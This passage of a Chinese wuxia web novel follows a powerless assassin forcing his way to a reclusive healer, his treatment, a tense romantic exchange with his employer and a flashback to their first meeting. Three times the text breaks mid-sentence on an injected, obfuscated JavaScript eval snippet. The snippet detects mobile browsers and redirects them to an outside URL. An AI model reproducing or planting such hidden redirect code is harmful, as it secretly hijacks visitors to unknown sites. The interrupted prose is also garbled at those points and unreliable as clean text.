“那我不做江湖人不就行了。” 谷山一闻言嗤笑一声,“你倒是不羁。” “但是,既入江湖,做不做这江湖人,岂是你说了算的?” “还是说,你只是想要哄骗我医治你?” 方隐攸握紧手中弓箭,略微思索片刻,“若我执意要你替我医治呢?” 谷山一哈哈大笑几声,“有趣,你既已说自己内力尽失,怎敢威胁于我?” 方隐攸的脸色瞬间绷紧,十分速度的拉弓射箭朝着身前射出两箭。 谷山一似乎早就料到了方隐攸的举动,带着几分嘲弄的轻哼一句,“刚愎自负,冥顽不灵。” 说罢,方隐攸忽然听到几声虎啸狼啼,而且这声音在他周围徘徊不定,让他难以捉摸狼虎究竟在何方。 方隐攸没了内力,只能靠一双耳朵去听,于是紧紧的闭上眼,凝神分辨它们的位置。 忽然,方隐攸感觉到身后扑来一股热气,他立刻反手拉弓,射出一箭。 身后白雾中传来利箭穿透肌肤的声音,紧接着便是一声豺狼嘶鸣和重物落地的声响。 随后,他又闭眼朝着前后左右射出几箭,百发百中,没有一支箭射空。 头顶响起拍掌声,谷山一揶揄一笑,“倒是有几分本事。” 方隐攸抬头看着白雾,他虽然看不到谷山一,但是谷山一却一定可以看到他,他双眼微眯,勾勾嘴角露出一个嘲弄的笑,“就算没有内力,对付你绰绰有余。” “猖狂。” 谷山一话音一落,方隐攸忽然感觉到一股凌厉的风从自己的四面八方席卷而来,带着巨大的杀气,像是要将他千刀万剐。 他往后一跃,想要避开这道风刃,可是疾风却对他紧追不舍,不得已,他反手握弓,在身前横扫一圈,想要抵挡朝自己袭来的风刃。 几乎是在他抬手的瞬间,他终于看清了朝自己袭来的究竟是什么东西——漫天松针。 他脸色猛地一变,迅速塌腰俯身,然后扭腰抬腿横扫,踢落迎面而来的松针。 倘若他内力还在,这一脚不仅可以踢落松针还可以让它门反击回去,可是他如今空有招式,没有任何内力加持,踢出的这一脚犹如豆腐接银针,顷刻之间就被扎了满腿的松针。 他半条腿瞬间失去知觉。 方隐攸咬紧牙根,垂眼看了一眼鲜血淋淋的右腿,惨白着一张脸,仰头朝着头顶呵呵一笑,“谷山一,你敢和我正面过两招吗?” “躲在暗处算什么本事?” “偷袭者,令人不耻!” 谷山一清浅一笑,语气从容的回道,“我为何要见你,今日是你擅自闯入我门前,难道不该杀?” “我诚心求医,并非擅闯。” “既是求医,在我拒绝了你时,你就该识趣的离去。” “我既然来了,就不会白来。” 谷山一被他这般狂妄的语气逗得轻笑出声,“江湖上什么时候有了你这般狂妄之徒?你叫什么名字?” “方隐攸。” “天下第一刺客方隐攸?” “正是。” 谷山一语气里面多了几分戏谑,“那你如今内力尽失,可还称得上天下第一?” 方隐攸脸色凛然,抬眼轻扫头顶,“你说呢?” “我觉得...”谷山一沉默一瞬,失望的说到,“称不上。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810165|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 方隐攸握弓的手狠狠用力,关节发白,他恶狠狠的盯着谷山一的方向,“那你可敢与我过招?” “我为何要与你过招?难道赢了你我就是天下第一了?” “就算是,我要这天下第一又有何用?” “方隐攸,走吧,我不会医治你的。” 方隐攸嗤笑一声,深邃的眉眼轻扫前方,表情张扬又森然,“要么医治我,要么杀了我。我方隐攸从不走回头路。” 谷山一随口道:“既如此,你便死吧。” 随后,方隐攸便感觉到脚下的方寸之地开始震动,周围如有庞然大物靠近,压迫感瞬间倾盖而下,犹如山倒,令他眉心跳动。 方隐攸抬眼环顾四周,惊觉自己的视线开始变得模糊起来,他毫不犹豫用长箭猛戳一下自己本就血流不止的大腿,剧痛让他浑身一颤,心神也稳定不少。 他咬紧牙根,眼神凶狠的凝视着周围,手中的长弓拉开,誓要决一死战。 很快,那庞然大物出现在了方隐攸的视线中,他惊愕的看着面前有数十丈高、青面獠牙的巨虎,手不受控制的一抖——这山林中怎么可能有如此巨兽。 巨虎喘一口气,喷出一股灼热的臭气,熏得方隐攸连呼吸都变得艰难。 方隐攸屏住呼吸,迅速的朝着巨虎的右眼射出一箭,可是出乎意料的是利箭在碰到巨虎的眼珠时犹如撞在了顽石之上,连箭头都断了。 方隐攸不可置信的往后撤一步,谨慎的观察着巨虎,想要找出它的薄弱处。 可是,他刚刚射出的那一支箭虽然没有伤到巨虎分毫,却惹怒了它,它张开硕大的嘴,露出里面尖锐庞大如弯刀的利齿。 然后头一甩,就朝着方隐攸咬来。 方隐攸几乎感受到了它嘴里的涎水滴在了自己的脸色,滚烫灼热,黏糊糊的十分恶心。他迅速委身翻滚避开他的口齿,然后半跪在地上拉弓,朝着他的嘴射出一箭。 这一箭如上一箭一样,在碰到它的肌肤的一瞬间,箭头立刻断落,但是又有所不同,因为箭头竟然朝他射了回来,速度迅猛,势如破竹。 方隐攸一惊,连忙侧身躲过,可是还是慢了一步,箭头堪堪擦着他的侧脸飞过,将他鬓角的一缕头发射落在地。 方隐攸错愕的看着地上的一缕青丝,心里纳闷,为什么会这样?就好像它是个刀枪不入的虎妖一般。 可是山林中,怎能可能有这种妖物? 忽然,方隐攸脑中闪过一道光,他决然而笃定的望着巨虎,然后在它抬脚朝着自己踏来时,不跑不躲,任由它一脚踩在自己身上。 出乎意料的是,巨虎硕大肥厚的脚掌竟然直接穿透了方隐攸,没有伤到他一分一毫——它是虚幻的。 方隐攸握紧手中长箭,扭腰腾空而起,狠狠的朝着猛虎的心脏处扎去,巨虎瞬间坍缩化为一直寻常野兽般大小。 方隐攸惨白的脸上沾满血痕,如鬼魅罗刹般回首朝着方才谷山一发出声音的地方得意的大笑,“谷山一,你就只会这种障眼法吗?” 说罢,不等谷山一做出回应,他紧闭双眼,屏息凝神辨认片刻,然后反手拉弓,迅速朝着身后射出几箭。 利箭划破长空,带出一阵鸣响,裹挟着巨大的杀意迅速冲向一处。 那里,便是谷山一的藏身之处。 等到一声利刃刺破肌肤的声音响起,围绕在方隐攸周围的浓雾瞬间消散,一个身穿黑袍,披散着满头银色卷发、虎背熊腰的男人正站在方隐攸面前不过一丈的距离眼神漠然的盯着他。 而他身后半臂的距离处,还有一个身穿白衣,头发半束、身形修长、容貌精致近妖的男人,他的右手小臂上有一道伤痕,那是方隐攸的长箭射出来的伤。 方隐攸环顾四周,在不远处的一颗大树下看到柳傅文昏睡的身影,悬着的心终于放了下来。 他朝着两人轻蔑一笑,“现在愿意医治我了吗?” 27. 云礼 白衣男子上前一步,手指向昏睡的柳傅文朝方隐攸说道,“带着他,跟我来。” 听声音,这人便是谷山一,那这个黑衣人呢? 方隐攸打量着看他一眼,黑衣人注意到方隐攸的视线,低呵一声,低沉沙哑的声音像是铁链摩擦过青石板。 方隐攸漠然的移开视线,将柳傅文背在身后,跟着谷山一走上一条蜿蜒的的小道。 这条小道比他们穿越的幽径看上去干净规整的多,路旁长满了紫云英和迎春花,只有零零星星的几株杂草,看上去是有人刻意打理过的。 路还没有走到尽头的时候方隐攸就窥见了远处的景色,广袤的一片平野上遍布着各色的花草,他们并不是胡乱生长着的,而是用竹篱笆一块块的分隔开,看上去十分有秩序。 在花草尽头,有一条不知起始的宽约两丈的河流,上面搭着一座木桥,走过木桥后是一块青石板铺成的空地,上面立着一个石碑,石碑上潦草刻着几个看不太清晰的字。 在青石板的东北角上摆着一个石桌和几张石凳子,青石板的边缘摆着一排花盆,里面栽种的不是花草,看上去郁郁葱葱的,应该是药材。 越过青石板后又是一块平整的空地,上面有一条青石板铺成的小道,通向后面的三栋木楼。 直到走出小道,方隐攸环顾四周,才发觉四周都是高耸的山脉,群山将这块平坦的地方围绕,如碗壁护着碗底。 谷山一将人引到青石板上,指了指石凳示意方隐攸将背上的柳傅文放到石凳上。 方隐攸依言照做,让柳傅文坐在石凳上,头半靠在自己腹部。 谷山一将手随意的在柳傅文手腕上搭了一下,然后从针包里抽出一根银针朝着他的头顶一扎,柳傅文紧闭的双眼就立刻睁开了。 柳傅文的眼神从迷离到清醒只用了短短一瞬。 “醒了?” 柳傅文闻言仰起头看向方隐攸,然后手指着面前的谷山一和黑衣男子,“这两人是谁?” “谷山一。”方隐攸的视线落到黑衣男子身上,“这个不知道。” 谷山一回头看向身后的男人,“云礼。” 柳傅文缓缓站了起来,狐疑的看向方隐攸,“意思是,我们已经到地方了?他们就是我们要找的人?” 方隐攸点点头。 柳傅文惊呼一声,惊喜的握住方隐攸的手腕看着谷山一,“神医,他不知为何内力尽失,你可以帮他医治吗?”说完,他从怀里掏出一锭金子递到谷山一面前,“银子不是问题,能治好就行。” 谷山一视线扫过他手里的金子,“我不收诊金。” “啊?”柳傅文不解的看着他,“那你收什么?” “什么都不收。”说罢,谷山一看向云礼,“你先带他们去休息一会,我去做饭。” 云礼点点头,朝两人抬了抬下巴,“走吧。” 柳傅文还欲再问,方隐攸直接提着他的衣领,跟着云礼朝着最右边的那栋木楼走去。 云礼将人带到一楼东边的房间,斜眼看了两人一眼,“一间房?” 柳傅文点点头,“一间就够了。” “那你们就在这里歇着吧,饭菜备好了我会来叫你们。” 说完,云礼转身就走。 方隐攸看着他的背影,皱着眉走到墙边的竹塌上躺下,将早就疼的没了知觉的右腿抬到榻上。 柳傅文原本在打量屋子,忽然注意到他的裤子上全是未干的血痕,惊得大叫一声扑了过来。 “你这腿怎么回事?” 方隐攸看向他背后的木盒,“把可生拿出来。” 柳傅文依言拿出可生递给他,又问了一遍。 “在山林里中了谷山一的算计,一时不察就伤到了。” 方隐攸用剑划破衣裳,漏出里面布满伤痕的腿——一整条腿的外侧都扎满了松针。 而且松针扎得很深,只有小半露在肌肤外满,他的腿就像个被堵死了的筛子,不时有鲜血从伤口边缘的缝隙里面渗出来。 柳傅文愣愣的盯着他的腿,嘴里咬牙切齿的吐出谷山一三个字,转身就要去找他算账。 “这就是诊金。” 柳傅文的脚步猛地顿住,不可置信的回头,“你说什么?” 方隐攸伸手扯出一根松针,露出来的伤口原先是一个小洞,里面的血肉缓慢的被旁边的肌肉挤压,最终变成一条淋漓的伤口。 方隐攸沉重的呼出一口气,“只要能闯进来,他便救,且不收诊金。” 柳傅文咬紧牙根,盯着他的腿沉默许久,最后只能无奈的长叹一口气,然后蹲到榻边,抬手挡住方隐攸伸过来的手。 “我来。” 方隐攸看着他低垂的眉眼,嗯了一声,然后紧闭双眼任由他在自己腿上动作。 柳傅文伸手轻轻捏住松针顶部,咬着唇屏住气,然后用力的将松针拽了出来。 松针上还有残留的血水,腥红一片,他咬紧牙捏碎松针,隐忍克制的长呼一口气后继续抽下一根。 等到腿上的松针拔出小半后,柳傅文抬眼看向脸色煞白的方隐攸,他眼睫微颤,额上青筋鼓动,牙根咬紧,凸起的喉结迅速的上下滑动,浑身上下都是冷汗。 “不行,你现在内力尽失,这样会扛不住的。” 柳傅文将捧在手里的腿仔细的放在榻上,轻柔的替他擦去鬓角汗,起身就要离开。 方隐攸伸手扯住他的衣摆,“你要去做什么?” “让谷山一来替你医治,他总会有办法让你不那么疼。” “他既然伤我,就不会医我。”方隐攸顿了顿,“没事,小伤而已,忍忍就好了。” “不是小伤。” 柳傅文的视线落在他的腿上,“你放心,我有办法。” 说罢,他安抚的轻轻拍了一下方隐攸的肩膀,然后就离开了。 方隐攸睁开眼,盯着头顶的屋顶,在心里默数,等到他数到一百三十六时,谷山一来了。 他十分惊讶的看着谷山一,“你竟然来了?” 谷山一沉默不语,从衣袖里拿出一个药丸喂到他的嘴里,然后又从身后的茶几上倒了一杯冷茶喂给他。 很快,方隐攸就感觉到腿上的痛楚瞬间消散。 “我不来,那个姓柳的就要拆了我的屋子。”说着,他掸了掸并没有任何灰尘的衣袖,“那可是云礼花了几个月的功夫才建好的,怎么能让他一把火毁了?” 方隐攸狐疑的盯着他,他不信他们两人真的会被柳傅文威胁到。 谷山一似乎看出他眼中的疑惑,轻笑一声,“他有多大的能力,你不清楚?” 方隐攸垂下眼,沉默不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810166|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语。 谷山一看向他的腿侧,十分随意的伸手拔出一根松针捏在指尖打量,“这松针,你若不抬腿去接,也不会扎得这般深,也幸好你内力尽失,否则你这腿神仙难救。” 方隐攸无语的冷哼一声,“奇门遁甲,善借力打力,越反抗便自伤越重。据我所知,江湖中十年前有一人也善用此伎俩,只是他并不叫谷山一。” “那叫什么?”谷山一随口问道,手里不停地替他拔着腿上的松针。 “乌桑。” “未曾听闻过此人,他大概个江湖肖小。” 方隐攸盯着他的侧脸,他的眉眼十分温润,没有任何攻击性。“不,他曾以一己之力挑尽江北数十个门派,江湖上无人不知无人不晓他。” “是吗?”谷山一似笑非笑的看向他,“那为何如今无人再提及他?” “因为他死了。” “可惜了。” “可是也有人说他是假死。” 谷山一拔出最后一根松针,从衣袖里掏出一块帕子,用力的擦拭他腿上的血迹,奇怪的是方隐攸依旧没有感觉到一丝痛感,反倒觉得腿上清清凉凉的十分舒服。 谷山一退后一步,看着他惨白的脸,“躺着歇息吧,我去给你拿身换洗的衣裳。” 最后拿着衣裳回来的是柳傅文,他将衣裳挂到榻便的屏风上,然后蹲在方隐攸面前关切的问道,“怎么样?还那么疼吗?” 方隐攸闻言一愣,一时之间不知道怎么回答他这个问题。 他行走江湖这么多年,还是第一次有人真心实意的问他疼不疼? 他凝视着柳傅文的脸,他还是初见时那副贵气的模样,唇红齿白,眉眼狭长,唯一的不同只有他的眼神。 此刻柳傅文的眼神十分复杂,夹杂着许多他从未曾见过的情感,揉成一团浓墨,稠而暗,分不清,看不透。 方隐攸避开他的视线,“不疼。” 柳傅文如释重负的点点头,然后扶着他的肩膀让他靠在自己怀里坐好。 方隐攸不解的看着他,“你要做什么?” “替你更衣,然后去吃饭。” 方隐攸噢一声,顺从的由着他摆动自己的手脚,换上了那身他不知从哪里拿来的一身白袍。 “这是谷山一的衣裳,你和他身形相似,穿着应该合身。” 柳傅文将人扶下榻,然后打量着看了他一眼,“果然很合身。” 柳傅文扶着方隐攸走到厨房的时候饭菜已经在桌子上摆好了,满满一大桌菜,卖相都不怎么好,看样子应该是糊了。 方隐攸下意识的看了一眼谷山一。 谷山一身后的云礼察觉到他的视线,朝着柳傅文呵呵一笑,“要不是你来捣乱,这菜怎么会变成这幅样子?” 柳傅文充耳不闻他的埋怨,扶着方隐攸在桌子边坐好,递给他一双筷子,然后笑着招呼还站着的两个人,“你们不吃吗?” 云礼和谷山一在两人对面坐下,四人皆是面无表情的吃完了这一顿难以下咽的饭菜。 吃完饭后,云礼留在厨房收拾,谷山一领着两人去屋前那一片花丛里散步。 柳傅文原本顾忌着方隐攸腿上的伤,想要拒绝,但是谷山一说那些花草都是药材,在里面走走对方隐攸恢复内力有好处,于是他便将人背在背上跟着谷山一去了。 28. 龙阳之好 这还是方隐攸第一次清醒的时候趴在柳傅文的背上,也是他第一次察觉到这人的肩膀比自己的宽上一些。 他将下巴压在他的侧肩,闭着眼按照谷山一的叮嘱长而缓慢的呼吸着空气里面馥郁的香味。 “明日我会替你医治,最晚三日,你便可恢复内力。” 方隐攸嗯一声,“多谢。” 谷山一弯腰捻住及腰的一株白芷细细打量,语气散漫的说到:“不过我只能治标不可治本。” 他起身打量着方隐攸的眉眼,“心魔不是病,非药石可医。” “心魔?”方隐攸不解的看向谷山一,他怎么不知道自己有什么心魔。 “对。” “可是...我不记得我有什么心魔。” “你若知晓,便不是心魔了。” 方隐攸思索片刻,问道,“心魔要如何解?” 谷山一笑着摇摇头,“心魔不同,解法不同。” 谷山一伸手指向远处的高山,“遇山移山。”说完,他又指向身后的长河,“遇河填河。” “但是无论是因何而生,关键就是毁掉它,对吗?” 谷山一点点头,“对,面对它,毁掉它,让它无法再困住你。” 柳傅文轻轻捏了捏方隐攸那条未曾受伤的腿,看着谷山一问道,“所以意思是,他体内的邪气就是心魔,而他内力暂失也是这心魔引起的。” “对。”谷山一说完思索了片刻又继续道,“你们需尽快化解他的心魔,不然就不是内力暂失这么简单了。” 方隐攸眉头紧蹙,“可是,我如今连这心魔是什么都不知道...怎么化解?” “那是你们该考虑的事。” 正说着,云礼拿着一个狐裘斗篷快步走了过来,他将斗篷仔细的披在谷山一肩膀上,然后瞥了一眼柳傅文二人,“你们回去歇着吧,别再打扰我们了。” 柳傅文和方隐攸闻言皆是一愣,有些没有反应过来。 但是云礼也没有再解释,而是牵着谷山一的手走开了。 方隐攸看着他们的背影,不解的问,“他们要去做什么?” 柳傅文摇摇头,“不知道。” 云礼的身形比谷山一壮硕许多,他长臂一伸揽住谷山一的腰将人抱在身前,然后两人的身影瞬间窜进山林中不见踪迹。 方隐攸抬头望天,天色渐晚,太阳早已西沉,再过一会功夫,月亮就该高悬了。 “算了,我们回屋吧。” 柳傅文无所谓的耸耸肩,背着方隐攸回了房间。 他将方隐攸放在床榻上,从怀里拿出谷山一给他的药膏,朝着方隐攸抬了抬下巴,“衣裳解开,我给你换药。” 方隐攸点点头,解开衣裳,腿上的伤痕已经结痂,星星点点落在肌肤上,看上去十分丑陋。 柳傅文叹了口气,侧坐在床沿上,小心翼翼的将药膏涂抹在那一个个细小的伤痕上。 每涂完一个伤口,他就会下意识的吹一口风,方隐攸起初并没有觉得有什么不对劲,可是当他无意间看到他腥红的嘴唇就要贴上自己的肌肤时,猛地反应过来,这世间好像是有什么龙阳之好、断袖之癖的。 就算都是男子,也不该贴的如此近。 所以他下意识往旁边挪了点,“不用这样。” 柳傅文抬眼看他,眼神不解,“怎么了?不疼吗?” “不疼,谷山一给我吃了止疼的药。” 柳傅文噢一声,身子往后撤了一点,不过靠的依旧很近,近到方隐攸能感觉到他呼出来的热气全部喷在他的肌肤上。 让他的伤口不觉得疼,只觉得痒。 方隐攸十分难耐的又往后撤了撤,柳傅文握着银勺的手忽然一把握住他的腿制止他的动作。 “动什么?” 说着,柳傅文还埋怨的瞪了他一眼。 方隐攸长呼一口气,隐忍的说到,“放开。” “什么放开?” “放开我的腿。” “啊?” 柳傅文下意识的看向自己的手,惊觉自己正掐着他腿,白皙紧致的肉被自己掐得内陷,凹陷处还泛起一圈微红。 柳傅文的视线上移,落到方隐攸的脸上,才发现他的神情十分难耐,整个人都已经往后仰倒。 他猛地往后退一步,然后惊愕的垂头看着自己不知何时开始砰砰作响的心脏。 “我...掐疼你了吗?” 柳傅文小心翼翼的问道。 方隐攸长呼一口气,低不可闻的嗯一声。 “那我轻点?”注意到方隐攸扫过来的凌厉目光,他连忙改口,“我不碰你!我...只帮你涂药...好不好?” 最后的三个字他说的及其缓慢,尾音上扬,带着一丝哄劝和讨好。 方隐攸沉默的将受伤的腿再次递了出去。 柳傅文见状松了口气,再次坐到床边,念叨着:“快了快了,只剩下一小半了。” 方隐攸没有理会他,抬眼盯着头顶的床幔。 柳傅文用银勺在药罐中舀出一勺药膏,药膏如凝脂,有一股淡淡的药香,他握住勺柄,将药膏再暗红色的痂上轻轻一蹭,挂了些许上去。 红白相间,衬着方隐攸仅有的几块完好的肌肤,如新雪盖在腊梅上。 柳傅文揉搓着指腹,让指间的温度攀升,然后用手轻轻按在药膏上,缓慢的反复揉搓,直到药膏融化,手下的触感变得滑腻,他才缓缓抬起手,开始下一个伤口的敷药。 原本该是如此,但是眼下柳傅文也不知道为何,看着自己红彤彤的指腹上沾染上的湿滑痕迹,呼吸竟然变得急促起来,心脏也跳得飞快,像是要从嗓子眼里蹦出来,弄得他都忘了下一步是该挖药还是挖心。 他有些忐忑的瞥一眼方隐攸,却看到他连个眼角余光都没有给自己,于是咬咬牙,将手指用力的在衣襟上蹭干净,然后屏住呼吸快速给他敷药。 等到他如身后有鬼催命似的利落的给方隐攸敷完了药,立刻风一般的跑了出去,嘴里还喊着一句,“手脏了,我去洗洗手。” 方隐攸莫名的看着被他随手一带,并未关紧的房门,不懂他跑这么快做什么? 难道他真的有龙阳之好?刚刚也只是在借着给自己涂药占他便宜? 一想到这里,方隐攸浑身一僵,眼中浮起十分的怒意,他可是天下第一刺客,这柳傅文胆子也太大了点。 所以,等到柳傅文再次回屋的时候,看到的就是方隐攸一脸怒容的靠坐在床头,眼神眈眈的盯着他。 “怎么了?”柳傅文十分不解,“为什么这般看着我?” “你是不是有龙阳之好?” 方隐攸十分直接的问了出来,死死的盯着柳傅文的脸,不想错过他的任何反应。 柳傅文的表情先是一僵,然后十分平静的问到,“你问这个做什么?” “你只需要回答是还是不是,有还是没有。” 柳傅文思索片刻,坐到床边的椅子上,望着方隐攸缓缓道,“我是会怎样,不是又怎样?” “我不是。”方隐攸十分笃定的盯着柳傅文,“我是你的镖师,你就算有龙阳之好,也不可以将主意打在我的身上。” “主意?”柳傅文嗤笑一声,倚在椅背上睥睨着方隐攸,“我若是心悦你,爱慕你,也是在打你的主意?” 方隐攸垂眼看向盖在自己腿上的薄被子,“别说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810167|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些绕口的话,反正总而言之就是我没有龙阳之好。” 柳傅文抬手撑住自己的下巴,看着他的烛光下闪烁的眉眼,啧啧一声,“方隐攸,你如今年方几何了?” “问这个做什么?” “随口问问呗。” 方隐攸看他,柳傅文的坐姿十分随意,表情带着几分调侃,落在他身上的眼神却并不轻浮,这让他感觉到有些无所适从。 这人怎么感觉自从知道他武功暂失以后就变得不正常了? 总是喜欢用这种莫名其妙的眼神看他。 “男子汉大丈夫,这有什么不好说的?”柳傅文朝着他抬了抬下巴,打趣道,“难道你其实已经是个耄耋老者,只是做了乔装打扮?” 方隐攸无语的横他一眼,“二十一。” “按照我朝律法,男子十五岁便可娶妻。”他脚往前跨一步,躬身靠近方隐攸,眼神灼灼的盯着他的眉眼,“你既然说自己没有龙阳之好,那应该与心仪女子品尝过男女之欢了吧?” 方隐攸脸色瞬间涨红,眼中的恼怒化作羞愧,抬手就朝着柳傅文打来,只是他如今没了内力,这一掌打的毫无攻击力,被柳傅文反手握住手腕,然后用力将他往前一扯,他整个人身子都被迫往前倚。 柳傅文迅速翻身坐到床沿,伸手抵住方隐攸的肩膀,止住他前扑的动作,然后俯首靠近他,几乎是可以鼻尖相抵的距离。 方隐攸作势后撤,柳傅文的大手握住他的后颈用力一掐,阻住了他的动作。 方隐攸瞪着柳傅文,恶狠狠的质问,“柳傅文,你要做什么?” 柳傅文哈哈一笑,“做什么?关心你一下而已。” 柳傅文说着,视线缓缓移向他的唇齿,眼神侵略又贪婪,“怎么?难道方兄还未曾体会过鱼水之欢,被我这么一问,便恼羞成怒了?” “你!”方隐攸咬牙切齿,沉重的喘息几口气,用力的想要挣脱柳傅文的束缚,可是却不能挣脱分毫。 柳傅文掐住方隐攸后颈的手张开,捧住他的后脑,将他的脸往自己这边又递了递。 “方隐攸,我是不是有龙阳之好,你很在意吗?” “当然在意。” “为什么?” “哪个男人愿意被男人当做女子一般对待?” “我何时把你当做女子了?” “所以你真的有龙阳之好?” “我何时说了?” 方隐攸深呼几口气,手抵住柳傅文的肩膀,然后咬牙用尽全力一推,却依旧难以撼动他半分。 方隐攸呵呵一笑,眼中浮起几分嘲弄,“柳傅文,你是不是忘了,你此刻该是一个手无缚鸡之力的贵公子。” 说着,他再次用力推了一推他,“放开!” 这一次,他成功推开了柳傅文,或者用柳傅文放开了他更合适。 柳傅文回身坐到椅子上,随手将刚刚弄皱的长袍理顺,“方隐攸,我从未将你看做女子。” 方隐攸冷哼一声,偏过头不看他。 “我也没有把主意打在你身上。” 方隐攸狐疑的看向他,“当真?” 柳傅文点点头,嘴角勾起一抹笑,“而且,我也没有龙阳之好。” 方隐攸更加不信,“当真?” 柳傅文起身走到烛台边,将落在烛油里面的一只飞蛾捏了出来。他盯着指腹上那个死不瞑目的飞蛾,缓缓道,“本公子——” 柳傅文转身看向方隐攸无声的说了几个字后,继续道,“从未爱过任何一个男人。” 方隐攸打量他一番,分辨他此话的真假。 柳傅文附身按住他的肩膀让他躺下,“睡吧,明天还要早起医治。” 29. 初见 这一晚的方隐攸睡得很沉,清晨醒来看着头顶床幔时还有一种混沌感,仿佛死后重生,不知身在何处。 他闭上眼长长的呼出一口气,坐起身来时紧闭的房门恰好被推开。 谷山一端着一个瓷碗走了进来,“醒了?喝药。” 等到他走到床边,方隐攸才发觉他手里端着的是一碗无色无味的水。 “这是什么药?” “良药。” 谷山一将碗递给他,然后坐到昨夜柳傅文做过的椅子上,“柳傅文和云礼进山打猎去了,等到他们猎到野味回来,便可做饭。” 方隐攸盯着碗里的药,嗯了一声,然后仰头一口喝净。 “你们是什么关系?” “我是他的镖师,护送他上京。” “哦?”谷山一狐疑的挑挑眉,“他需要你护?” “他拿着银子来找我,需不需要有什么重要?”方隐攸将空碗递给他,“各取所需罢了。” 谷山一但笑不语的接过碗,沉默良久后笑道:“你们这些小辈,倒是有趣。” 说罢,他起身往屋外走去,顺带着说了一嘴,“江湖中人,注定漂泊,若只是他的镖师,也就罢了,若是别的关系,你与他之间注定不得善终。” 方隐攸一愣,望着他的背影,“你什么意思?” 谷山一驻足回首,看向方隐攸,“你大概并不知道他的真实身份吧?” “真实身份?” 方隐攸垂首回忆,柳傅文的真实身份,他似乎确实不知道,也从未深究过。 他不自禁的想起柳傅文找到自己的那一天。 早春深夜时,桃叶映红花,无风自婀娜,他刚刚完成一个悬赏令,提着那人的头颅,正前往下令人的府上讨要银子。 他走过一棵桃树时,柳傅文忽然从天而降,落点恰好是他所在之地。 几乎是下意识的,他抽出可生剑就要挥砍过去,可是纷纷下落的桃花迷住了他的双眼,如水的月光被遮挡,手中的攻势才略微慢了一瞬,柳傅文就已经在地上滚了一圈,抱着树干望着自己大声嚎啕。 “你做什么!我...与你无怨无仇,你为何要杀我?” 方隐攸收起剑,侧过头看着他被树干挡住大半的脸,当时他并未看清柳傅文的样貌,只看到他浑身颤抖,像是被吓得不轻。 方隐攸抬头看了一眼头顶错乱的桃枝,语气森冷的问道,“你在这里做什么?” 柳傅文一听,语气变得十分愤慨,“还不是因为这蛮夷之地净是些贼匪,看本公子穿金戴银,便起了歪心思,想要抢我的盘缠!” “我被人追着跑了一路,东躲西藏的好不容易找到这么一颗枝繁叶茂的桃树,想要在上面凑活一晚上,哪里知道这个时辰还有人来!” 说着,柳傅文指着他手里鲜血淋淋的头颅,“还提着这么一个人头,我吓得惊慌失措...就掉下来了!” 方隐攸后撤一步,看着他抬抬下巴,“走出来,站到月光下来,让我看看你。” 柳傅文往后一缩,“你要做什么?” “来还是不来?” 方隐攸的语气杀气腾腾,吓得柳傅文嗖的一下就站了起来,然后小跑到他面前,面朝着月光站的规规矩矩。 柳傅文穿着一件圆领锦衣,宽阔的衣袖上绣着大片的纹饰,方隐攸随意的撇了一眼,绣线在月光下流光溢彩,想来是掺杂了金丝的。 他腰间革带上坠着的几块玉石质地上乘,雕刻的十分精美,一看就价值连城。 方隐攸将柳傅文上下打量了个遍,最后才终于将视线落在柳傅文的脸上,他眉眼生得极好,注意到方隐攸的视线时还微微仰起头,将整张脸都露在月光里,带着几分得意,仿佛对自己的容貌十分满意。 方隐攸呵呵一笑,手腕一转,可生剑直抵他的喉咙,轻轻往前一推,他凸起的喉结下瞬间出现一道血痕。 柳傅文痛的龇牙咧嘴,愤怒又震惊的瞪着方隐攸,“你做什么?你要杀了我吗?本公子的爹可是京城富商,你就不怕他来找你算账吗?” 方隐攸掂了掂手里的头颅,“那又如何?” 柳傅文不由自主的看向他手里那个死不瞑目的人头,嘴角抽动几下,立刻噤声。 方隐攸抬头望天,圆月刚过头顶,他需要去换银子了。 于是,他抬手用剑朝着柳傅文的肩头一拍,将他打得跌落在地上后,抬腿欲走。 可是柳傅文却忽然跪坐在地上一把抱住他的右腿,在他垂首看过去时立刻仰起头望着他低声祈求:“大侠,你武艺高强,不如做我的镖师吧?” 方隐攸看着他在月光下熠熠发光的双眼,“我是个刺客,不是镖师。” “我给你银子!黄金百两!如何?”说着,他从怀里掏出几锭金子,“你看,我有许多金银,只要你将我护送到京城,我就给你黄金百两!” 柳傅文看着他手里的金子,盘算了一下自己要杀多少人才能赚到黄金百两。 很快,他点了点头,“好,我做你的镖师。” 